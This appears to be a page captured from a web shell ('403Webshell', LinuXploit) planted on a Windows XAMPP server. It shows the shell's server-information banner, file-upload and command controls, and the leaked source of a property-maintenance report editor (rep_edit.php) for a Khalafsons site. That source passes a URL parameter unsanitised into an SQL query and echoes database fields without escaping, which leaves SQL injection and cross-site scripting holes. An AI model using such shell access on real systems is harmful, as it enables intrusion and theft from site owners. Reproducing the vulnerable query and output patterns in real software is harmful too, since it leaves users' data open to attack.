403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.48
Web Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
System : Windows NT DESKTOP-3H4FHQJ 10.0 build 19045 (Windows 10) AMD64
User : win 10 ( 0)
PHP Version : 8.2.12
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  D:/xampp/htdocs-khalafsons/khalafmaint/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : D:/xampp/htdocs-khalafsons/khalafmaint/rep_edit.php
<html>
<head>

<title>ksre report</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" type="text/css" href="main_css/rep_edit.css" />

</head>

<?php 
session_start();
include('db_con.php'); 
$report_id = $_GET['report_id'];

?>

<?php

if(isset($_SESSION['id']))
{
	$my_id = $_SESSION['id'];
    $usename = $_SESSION['last_name'];

}

?>
<input id="report_id" style="display:none;" value="<?php echo"$report_id";?>" />
<input id="my_id" style="display:none;" value="<?php echo"$my_id";?>" />
<input id="my_cpr" style="display:none;" value="<?php echo"$my_cpr";?>" />


<body>

<div class="main_home_div" >

<a href="complain"><img src="main_icons/back_btn3.png" onclickk="history.back()" class="log_img" style="cursor:pointer" /></a>
<!--img src="main_logo/log.jfif" class="log_img" /-->
<div class="sub_title_div" >Khalafsons.com</div>

<div class="profile_div" >
<img src="avatar_image/avatar2.jpg" onclick="history.back()" class="pofile_img" style="cursor:pointer" />
<span class="profil_name" ><?php echo"$usename";?>
</span>
</div>

</div>

<div class="positioning_div"></div>





<div class="content_div" >
<div class="ticket_title">Edit report</div>

<div class="add_attend_div" >

<?php

$get_rept ="select * from reporttb where id='$report_id' ";
$run_get_rept = mysqli_query($con,$get_rept);
while($row_get_rept = mysqli_fetch_array($run_get_rept))
{
	$report_id = $row_get_rept['id'];
	$staff_name = $row_get_rept['property_staff'];
	$report_details = $row_get_rept['report_details'];
	$property_name = $row_get_rept['property_name'];
	$flat_no = $row_get_rept['flat_no'];
	$work_status = $row_get_rept['work_status'];
	$tech_name = $row_get_rept['tech_name'];
	
	$cur_day = $row_get_rept['cur_day'];
	$cur_month = $row_get_rept['cur_month'];
	$cur_year = $row_get_rept['cur_year'];
}

?>  



<textarea id="report_details" class="detail_textarea" placeholder="Type a complaint" ><?php echo $report_details; ?></textarea>
<span class="atte_lebal">Date</span>
<span class="atte_lebal">Staff-name</span>
<input id="report_date" class="atte_date"   placeholderk="<?php echo(date("d-m-Y")); ?>" value="<?php echo"$cur_day-$cur_month-$cur_year"; ?>"  />

<!--input id="time_in" class="atte_date" placeholder="<?php date_default_timezone_set('Asia/Kuwait');echo(date('h:i a'));?> " value="<?php date_default_timezone_set('Asia/Kuwait');echo(date('h:i a'));?> " /-->

<input id="staff_name" class="atte_date" value="<?php echo $staff_name; ?>"/>


<span class="atte_lebal">property</span>

<span class="atte_lebal">Flat No.</span>

<select id="bld_name" class="bld_name" >
<option ><?php echo $property_name; ?></option>
<option>Real Suites A</option>
<option>Real Suites B</option>
<option>Brown Tower</option>
<option>Tubli Center</option>
<option>Panorama</option>
<option>Patrex</option>
<option>Adliya Tower</option>
<option>Salmaniya Plaza</option>
<option>Saj 1</option>
<option>Saj 2</option>
<option>Saj 3</option>
<option>Lenox 1</option>
<option>Lenox 2</option>
<option>Lenox 3</option>
<option>Vintage</option>
<option>Korean Embassy</option>
<option>Indonesian Embassy</option>
</select>

<input id="bld_flat" class="bld_name" value="<?php echo $flat_no; ?>" />

<span class="atte_lebal">Tech name.</span>
<span class="atte_lebal">Status</span>

<input id="tec_name" class="bld_name" value="<?php echo $tech_name; ?>" />

<select id="report_status" class="bld_name" >
<option ><?php echo $work_status; ?></option>
<option>Done</option>
<option>Not done</option>
<option>Still working</option>

</select>


<button onclick="save_edit();" class="attend_save_btn" >Save</button>

<div id="erorr_output" class="erorr_output" ></div>
</div>


</div>


<script>

function show_mob_main_left_div()
{
	document.getElementById('mob_main_left_div').style.display="block";
	document.getElementById('close_icon_menu_btn').style.display="block";
	document.getElementById('main_icon_menu_btn').style.display="none";
	
	scrollTo(0,0);

	
}

function hide_mob_main_left_div()
{
	document.getElementById('mob_main_left_div').style.display="none";
	document.getElementById('close_icon_menu_btn').style.display="none";
	document.getElementById('main_icon_menu_btn').style.display="block";
	
	scrollTo(0,0);
}

function save_edit()
{ 

    report_id = document.getElementById('report_id').value;	
	my_id = document.getElementById('my_id').value;
	report_details = document.getElementById('report_details').value;
	staff_name = document.getElementById('staff_name').value;	
	report_status = document.getElementById('report_status').value;

	bld_name = document.getElementById('bld_name').value;
	bld_flat = document.getElementById('bld_flat').value;
	tec_name = document.getElementById('tec_name').value;
	
	if(report_date =="" || report_details=="" || staff_name=="" || bld_name=="Select Building" ){
		document.getElementById('erorr_output').innerHTML="Please fill the required fields.";
		document.getElementById('erorr_output').style="color:red;";
	}else{

	xmlhttp = new XMLHttpRequest();
	xmlhttp.open("GET","autopage.php?my_id="+my_id+"&&report_id="+report_id+"&&report_details="+report_details+"&&staff_name="+staff_name+"&&report_status="+report_status+"&&bld_name="+bld_name+"&&bld_flat="+bld_flat+"&&tec_name="+tec_name+"&&status=save_edit_report",false);
	xmlhttp.send(null);
	document.getElementById('erorr_output').innerHTML =xmlhttp.responseText;


	document.getElementById('report_details').value="";
	//document.getElementById('staff_name').value;	
	document.getElementById('report_status').value="Select status";

	//document.getElementById('bld_name').value;
	document.getElementById('bld_flat').value="";

	}

}

</script>










<div class="footer">© 2023 NS-Developers. All rights reserved. </div>

</body>	
				
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit